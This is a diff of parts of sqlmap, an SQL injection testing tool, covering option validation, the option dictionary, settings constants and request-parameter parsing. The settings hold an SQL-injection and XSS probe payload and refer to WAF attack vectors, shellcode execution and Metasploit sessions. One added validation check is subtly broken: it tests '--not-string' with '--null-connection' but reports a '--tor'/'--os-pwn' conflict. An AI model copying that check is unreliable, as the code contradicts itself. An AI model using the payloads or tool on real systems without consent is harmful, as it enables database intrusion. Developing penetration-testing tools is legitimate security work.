conf.proxyList = []
|
||||||
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
|
for match in re.finditer(r"(?i)((http[^:]*|socks[^:]*)://)?([\w\-.]+):(\d+)", readCachedFileContent(conf.proxyFile)):
|
||||||
_, type_, address, port = match.groups()
|
_, type_, address, port = match.groups()
|
||||||
conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
|
conf.proxyList.append("%s://%s:%s" % (type_ or "http", address, port))
|
||||||
|
|
||||||
@@ -2419,8 +2380,8 @@ def _basicOptionValidation():
|
|||||||
|
|
||||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
|
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and \
|
||||||
isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
|
isinstance(conf.limitStop, int) and conf.limitStop < conf.limitStart:
|
||||||
errMsg = "value for option '--start' (limitStart) must be smaller or equal than value for --stop (limitStop) option"
|
warnMsg = "usage of option '--start' (limitStart) which is bigger than value for --stop (limitStop) option is considered unstable"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
|
if isinstance(conf.firstChar, int) and conf.firstChar > 0 and \
|
||||||
isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
|
isinstance(conf.lastChar, int) and conf.lastChar < conf.firstChar:
|
||||||
@@ -2451,6 +2412,10 @@ def _basicOptionValidation():
|
|||||||
errMsg = "switch '--dump' is incompatible with switch '--search'"
|
errMsg = "switch '--dump' is incompatible with switch '--search'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.api and not conf.configFile:
|
||||||
|
errMsg = "switch '--api' requires usage of option '-c'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.data and conf.nullConnection:
|
if conf.data and conf.nullConnection:
|
||||||
errMsg = "option '--data' is incompatible with switch '--null-connection'"
|
errMsg = "option '--data' is incompatible with switch '--null-connection'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
@@ -2463,6 +2428,10 @@ def _basicOptionValidation():
|
|||||||
errMsg = "option '--not-string' is incompatible with switch '--null-connection'"
|
errMsg = "option '--not-string' is incompatible with switch '--null-connection'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
|
if conf.notString and conf.nullConnection:
|
||||||
|
errMsg = "option '--tor' is incompatible with switch '--os-pwn'"
|
||||||
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.noCast and conf.hexConvert:
|
if conf.noCast and conf.hexConvert:
|
||||||
errMsg = "switch '--no-cast' is incompatible with switch '--hex'"
|
errMsg = "switch '--no-cast' is incompatible with switch '--hex'"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
@@ -2608,15 +2577,15 @@ def _basicOptionValidation():
|
|||||||
errMsg += "format <username>:<password> (e.g. \"root:pass\")"
|
errMsg += "format <username>:<password> (e.g. \"root:pass\")"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
|
|
||||||
if conf.charset:
|
if conf.encoding:
|
||||||
_ = checkCharEncoding(conf.charset, False)
|
_ = checkCharEncoding(conf.encoding, False)
|
||||||
if _ is None:
|
if _ is None:
|
||||||
errMsg = "unknown charset '%s'. Please visit " % conf.charset
|
errMsg = "unknown charset '%s'. Please visit " % conf.encoding
|
||||||
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
|
errMsg += "'%s' to get the full list of " % CODECS_LIST_PAGE
|
||||||
errMsg += "supported charsets"
|
errMsg += "supported charsets"
|
||||||
raise SqlmapSyntaxException(errMsg)
|
raise SqlmapSyntaxException(errMsg)
|
||||||
else:
|
else:
|
||||||
conf.charset = _
|
conf.encoding = _
|
||||||
|
|
||||||
if conf.loadCookies:
|
if conf.loadCookies:
|
||||||
if not os.path.exists(conf.loadCookies):
|
if not os.path.exists(conf.loadCookies):
|
||||||
@@ -2662,6 +2631,7 @@ def init():
|
|||||||
_setTamperingFunctions()
|
_setTamperingFunctions()
|
||||||
_setWafFunctions()
|
_setWafFunctions()
|
||||||
_setTrafficOutputFP()
|
_setTrafficOutputFP()
|
||||||
|
_setupHTTPCollector()
|
||||||
_resolveCrossReferences()
|
_resolveCrossReferences()
|
||||||
_checkWebSocket()
|
_checkWebSocket()
|
||||||
|
|
||||||
|
|||||||
+11
-3
@@ -38,7 +38,7 @@ optDict = {
|
|||||||
"authType": "string",
|
"authType": "string",
|
||||||
"authCred": "string",
|
"authCred": "string",
|
||||||
"authFile": "string",
|
"authFile": "string",
|
||||||
"ignore401": "boolean",
|
"ignoreCode": "integer",
|
||||||
"ignoreProxy": "boolean",
|
"ignoreProxy": "boolean",
|
||||||
"ignoreRedirects": "boolean",
|
"ignoreRedirects": "boolean",
|
||||||
"ignoreTimeouts": "boolean",
|
"ignoreTimeouts": "boolean",
|
||||||
@@ -77,8 +77,8 @@ optDict = {
|
|||||||
"testParameter": "string",
|
"testParameter": "string",
|
||||||
"skip": "string",
|
"skip": "string",
|
||||||
"skipStatic": "boolean",
|
"skipStatic": "boolean",
|
||||||
"skip": "string",
|
|
||||||
"paramExclude": "string",
|
"paramExclude": "string",
|
||||||
|
"dbms": "string",
|
||||||
"dbmsCred": "string",
|
"dbmsCred": "string",
|
||||||
"os": "string",
|
"os": "string",
|
||||||
"invalidBignum": "boolean",
|
"invalidBignum": "boolean",
|
||||||
@@ -196,14 +196,17 @@ optDict = {
|
|||||||
"batch": "boolean",
|
"batch": "boolean",
|
||||||
"binaryFields": "string",
|
"binaryFields": "string",
|
||||||
"charset": "string",
|
"charset": "string",
|
||||||
|
"checkInternet": "boolean",
|
||||||
"crawlDepth": "integer",
|
"crawlDepth": "integer",
|
||||||
"crawlExclude": "string",
|
"crawlExclude": "string",
|
||||||
"csvDel": "string",
|
"csvDel": "string",
|
||||||
"dumpFormat": "string",
|
"dumpFormat": "string",
|
||||||
|
"encoding": "string",
|
||||||
"eta": "boolean",
|
"eta": "boolean",
|
||||||
"flushSession": "boolean",
|
"flushSession": "boolean",
|
||||||
"forms": "boolean",
|
"forms": "boolean",
|
||||||
"freshQueries": "boolean",
|
"freshQueries": "boolean",
|
||||||
|
"harFile": "string",
|
||||||
"hexConvert": "boolean",
|
"hexConvert": "boolean",
|
||||||
"outputDir": "string",
|
"outputDir": "string",
|
||||||
"parseErrors": "boolean",
|
"parseErrors": "boolean",
|
||||||
@@ -225,11 +228,11 @@ optDict = {
|
|||||||
"identifyWaf": "boolean",
|
"identifyWaf": "boolean",
|
||||||
"mobile": "boolean",
|
"mobile": "boolean",
|
||||||
"offline": "boolean",
|
"offline": "boolean",
|
||||||
"pageRank": "boolean",
|
|
||||||
"purgeOutput": "boolean",
|
"purgeOutput": "boolean",
|
||||||
"skipWaf": "boolean",
|
"skipWaf": "boolean",
|
||||||
"smart": "boolean",
|
"smart": "boolean",
|
||||||
"tmpDir": "string",
|
"tmpDir": "string",
|
||||||
|
"webRoot": "string",
|
||||||
"wizard": "boolean",
|
"wizard": "boolean",
|
||||||
"verbose": "integer",
|
"verbose": "integer",
|
||||||
},
|
},
|
||||||
@@ -243,5 +246,10 @@ optDict = {
|
|||||||
"liveTest": "boolean",
|
"liveTest": "boolean",
|
||||||
"stopFail": "boolean",
|
"stopFail": "boolean",
|
||||||
"runCase": "string",
|
"runCase": "string",
|
||||||
|
},
|
||||||
|
"API": {
|
||||||
|
"api": "boolean",
|
||||||
|
"taskid": "string",
|
||||||
|
"database": "string",
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+29
-9
@@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
|
|||||||
from lib.core.enums import OS
|
from lib.core.enums import OS
|
||||||
|
|
||||||
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
|
||||||
VERSION = "1.1"
|
VERSION = "1.1.10.0"
|
||||||
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
|
||||||
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
|
||||||
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
|
||||||
@@ -67,6 +67,7 @@ BOUNDED_INJECTION_MARKER = "__BOUNDED_INJECTION_MARK__"
|
|||||||
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
RANDOM_INTEGER_MARKER = "[RANDINT]"
|
||||||
RANDOM_STRING_MARKER = "[RANDSTR]"
|
RANDOM_STRING_MARKER = "[RANDSTR]"
|
||||||
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
SLEEP_TIME_MARKER = "[SLEEPTIME]"
|
||||||
|
INFERENCE_MARKER = "[INFERENCE]"
|
||||||
|
|
||||||
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
|
||||||
CHAR_INFERENCE_MARK = "%c"
|
CHAR_INFERENCE_MARK = "%c"
|
||||||
@@ -109,7 +110,7 @@ DUMMY_SEARCH_USER_AGENT = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Geck
|
|||||||
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
|
TEXT_TAG_REGEX = r"(?si)<(abbr|acronym|b|blockquote|br|center|cite|code|dt|em|font|h\d|i|li|p|pre|q|strong|sub|sup|td|th|title|tt|u)(?!\w).*?>(?P<result>[^<]+)"
|
||||||
|
|
||||||
# Regular expression used for recognition of IP addresses
|
# Regular expression used for recognition of IP addresses
|
||||||
IP_ADDRESS_REGEX = r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b"
|
IP_ADDRESS_REGEX = r"\b(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\b"
|
||||||
|
|
||||||
# Regular expression used for recognition of generic "your ip has been blocked" messages
|
# Regular expression used for recognition of generic "your ip has been blocked" messages
|
||||||
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)"
|
BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)"
|
||||||
@@ -175,6 +176,9 @@ INFERENCE_UNKNOWN_CHAR = '?'
|
|||||||
# Character used for operation "greater" in inference
|
# Character used for operation "greater" in inference
|
||||||
INFERENCE_GREATER_CHAR = ">"
|
INFERENCE_GREATER_CHAR = ">"
|
||||||
|
|
||||||
|
# Character used for operation "greater or equal" in inference
|
||||||
|
INFERENCE_GREATER_EQUALS_CHAR = ">="
|
||||||
|
|
||||||
# Character used for operation "equals" in inference
|
# Character used for operation "equals" in inference
|
||||||
INFERENCE_EQUALS_CHAR = "="
|
INFERENCE_EQUALS_CHAR = "="
|
||||||
|
|
||||||
@@ -295,7 +299,7 @@ BLANK = "<blank>"
|
|||||||
CURRENT_DB = "CD"
|
CURRENT_DB = "CD"
|
||||||
|
|
||||||
# Regular expressions used for finding file paths in error messages
|
# Regular expressions used for finding file paths in error messages
|
||||||
FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line \d+", r"in (?P<result>[^<>]+?) on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
|
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line \d+", r"(?P<result>[^<>'\"]+?)['\"]? on line \d+", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w. \\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
|
||||||
|
|
||||||
# Regular expressions used for parsing error messages (--parse-errors)
|
# Regular expressions used for parsing error messages (--parse-errors)
|
||||||
ERROR_PARSING_REGEXES = (
|
ERROR_PARSING_REGEXES = (
|
||||||
@@ -303,6 +307,7 @@ ERROR_PARSING_REGEXES = (
|
|||||||
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
|
||||||
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
r"(?P<result>[^\n>]*SQL Syntax[^\n<]+)",
|
||||||
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
r"<li>Error Type:<br>(?P<result>.+?)</li>",
|
||||||
|
r"CDbCommand (?P<result>[^<>\n]*SQL[^<>\n]+)",
|
||||||
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
|
||||||
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
|
r"\[[^\n\]]+(ODBC|JDBC)[^\n\]]+\](\[[^\]]+\])?(?P<result>[^\n]+(in query expression|\(SQL| at /[^ ]+pdo)[^\n<]+)"
|
||||||
)
|
)
|
||||||
@@ -358,11 +363,14 @@ MIN_RATIO = 0.0
|
|||||||
# Maximum value for comparison ratio
|
# Maximum value for comparison ratio
|
||||||
MAX_RATIO = 1.0
|
MAX_RATIO = 1.0
|
||||||
|
|
||||||
|
# Minimum length of sentence for automatic choosing of --string (in case of high matching ratio)
|
||||||
|
CANDIDATE_SENTENCE_MIN_LENGTH = 10
|
||||||
|
|
||||||
# Character used for marking injectable position inside provided data
|
# Character used for marking injectable position inside provided data
|
||||||
CUSTOM_INJECTION_MARK_CHAR = '*'
|
CUSTOM_INJECTION_MARK_CHAR = '*'
|
||||||
|
|
||||||
# Other way to declare injection position
|
# Other way to declare injection position
|
||||||
INJECT_HERE_MARK = '%INJECT HERE%'
|
INJECT_HERE_REGEX = '(?i)%INJECT[_ ]?HERE%'
|
||||||
|
|
||||||
# Minimum chunk length used for retrieving data over error based payloads
|
# Minimum chunk length used for retrieving data over error based payloads
|
||||||
MIN_ERROR_CHUNK_LENGTH = 8
|
MIN_ERROR_CHUNK_LENGTH = 8
|
||||||
@@ -382,6 +390,9 @@ REFLECTED_BORDER_REGEX = r"[^A-Za-z]+"
|
|||||||
# Regular expression used for replacing non-alphanum characters
|
# Regular expression used for replacing non-alphanum characters
|
||||||
REFLECTED_REPLACEMENT_REGEX = r".+"
|
REFLECTED_REPLACEMENT_REGEX = r".+"
|
||||||
|
|
||||||
|
# Maximum time (in seconds) spent per reflective value(s) replacement
|
||||||
|
REFLECTED_REPLACEMENT_TIMEOUT = 3
|
||||||
|
|
||||||
# Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
|
# Maximum number of alpha-numerical parts in reflected regex (for speed purposes)
|
||||||
REFLECTED_MAX_REGEX_PARTS = 10
|
REFLECTED_MAX_REGEX_PARTS = 10
|
||||||
|
|
||||||
@@ -446,6 +457,9 @@ LOW_TEXT_PERCENT = 20
|
|||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/function-resolution.html
|
||||||
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
|
IGNORE_SPACE_AFFECTED_KEYWORDS = ("CAST", "COUNT", "EXTRACT", "GROUP_CONCAT", "MAX", "MID", "MIN", "SESSION_USER", "SUBSTR", "SUBSTRING", "SUM", "SYSTEM_USER", "TRIM")
|
||||||
|
|
||||||
|
# Keywords expected to be in UPPERCASE in getValue()
|
||||||
|
GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT")
|
||||||
|
|
||||||
LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program"
|
LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program"
|
||||||
|
|
||||||
# After this number of misses reflective removal mechanism is turned off (for speed up reasons)
|
# After this number of misses reflective removal mechanism is turned off (for speed up reasons)
|
||||||
@@ -468,7 +482,7 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\
|
|||||||
# Extensions skipped by crawler
|
# Extensions skipped by crawler
|
||||||
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
|
CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")
|
||||||
|
|
||||||
# Patterns often seen in HTTP headers containing custom injection marking character
|
# Patterns often seen in HTTP headers containing custom injection marking character '*'
|
||||||
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
|
PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"
|
||||||
|
|
||||||
# Template used for common table existence check
|
# Template used for common table existence check
|
||||||
@@ -483,6 +497,12 @@ IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")
|
|||||||
# Data inside shellcodeexec to be filled with random string
|
# Data inside shellcodeexec to be filled with random string
|
||||||
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
|
||||||
|
|
||||||
|
# Generic address for checking the Internet connection while using switch --check-internet
|
||||||
|
CHECK_INTERNET_ADDRESS = "http://ipinfo.io/"
|
||||||
|
|
||||||
|
# Value to look for in response to CHECK_INTERNET_ADDRESS
|
||||||
|
CHECK_INTERNET_VALUE = "IP Address Details"
|
||||||
|
|
||||||
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
|
# Vectors used for provoking specific WAF/IPS/IDS behavior(s)
|
||||||
WAF_ATTACK_VECTORS = (
|
WAF_ATTACK_VECTORS = (
|
||||||
"", # NIL
|
"", # NIL
|
||||||
@@ -587,7 +607,7 @@ BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample
|
|||||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
||||||
|
|
||||||
# Regular expression used for recognition of file inclusion errors
|
# Regular expression used for recognition of file inclusion errors
|
||||||
FI_ERROR_REGEX = "(?i)[^\n]*(no such file|failed (to )?open)[^\n]*"
|
FI_ERROR_REGEX = "(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
||||||
|
|
||||||
# Length of prefix and suffix used in non-SQLI heuristic checks
|
# Length of prefix and suffix used in non-SQLI heuristic checks
|
||||||
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||||
@@ -617,7 +637,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
|
|||||||
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
CHECK_ZERO_COLUMNS_THRESHOLD = 10
|
||||||
|
|
||||||
# Boldify all logger messages containing these "patterns"
|
# Boldify all logger messages containing these "patterns"
|
||||||
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")
|
BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response")
|
||||||
|
|
||||||
# Generic www root directory names
|
# Generic www root directory names
|
||||||
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
|
GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
|
||||||
@@ -656,7 +676,7 @@ INVALID_UNICODE_CHAR_FORMAT = r"\x%02x"
|
|||||||
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z"
|
||||||
|
|
||||||
# Regular expression used for detecting JSON POST data
|
# Regular expression used for detecting JSON POST data
|
||||||
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z'
|
JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]*"|\d+|true|false|null).*\}\s*(\]\s*)*\Z'
|
||||||
|
|
||||||
# Regular expression used for detecting JSON-like POST data
|
# Regular expression used for detecting JSON-like POST data
|
||||||
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
JSON_LIKE_RECOGNITION_REGEX = r"(?s)\A(\s*\[)*\s*\{.*'[^']+'\s*:\s*('[^']+'|\d+).*\}\s*(\]\s*)*\Z"
|
||||||
@@ -692,7 +712,7 @@ MAX_HISTORY_LENGTH = 1000
|
|||||||
MIN_ENCODED_LEN_CHECK = 5
|
MIN_ENCODED_LEN_CHECK = 5
|
||||||
|
|
||||||
# Timeout in seconds in which Metasploit remote session has to be initialized
|
# Timeout in seconds in which Metasploit remote session has to be initialized
|
||||||
METASPLOIT_SESSION_TIMEOUT = 300
|
METASPLOIT_SESSION_TIMEOUT = 120
|
||||||
|
|
||||||
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
|
||||||
LOBLKSIZE = 2048
|
LOBLKSIZE = 2048
|
||||||
|
|||||||
+132
-113
@@ -9,6 +9,8 @@ import codecs
|
|||||||
import functools
|
import functools
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
import tempfile
|
import tempfile
|
||||||
import time
|
import time
|
||||||
import urlparse
|
import urlparse
|
||||||
@@ -18,6 +20,7 @@ from lib.core.common import getSafeExString
|
|||||||
from lib.core.common import getUnicode
|
from lib.core.common import getUnicode
|
||||||
from lib.core.common import hashDBRetrieve
|
from lib.core.common import hashDBRetrieve
|
||||||
from lib.core.common import intersect
|
from lib.core.common import intersect
|
||||||
|
from lib.core.common import isNumPosStrValue
|
||||||
from lib.core.common import normalizeUnicode
|
from lib.core.common import normalizeUnicode
|
||||||
from lib.core.common import openFile
|
from lib.core.common import openFile
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
@@ -49,7 +52,6 @@ from lib.core.option import _setKnowledgeBaseAttributes
|
|||||||
from lib.core.option import _setAuthCred
|
from lib.core.option import _setAuthCred
|
||||||
from lib.core.settings import ASTERISK_MARKER
|
from lib.core.settings import ASTERISK_MARKER
|
||||||
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
|
||||||
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
|
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import HOST_ALIASES
|
from lib.core.settings import HOST_ALIASES
|
||||||
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
|
from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
|
||||||
@@ -111,92 +113,108 @@ def _setRequestParams():
|
|||||||
retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
if CUSTOM_INJECTION_MARK_CHAR in retVal:
|
if kb.customInjectionMark in retVal:
|
||||||
hintNames.append((retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0], match.group("name")))
|
hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data:
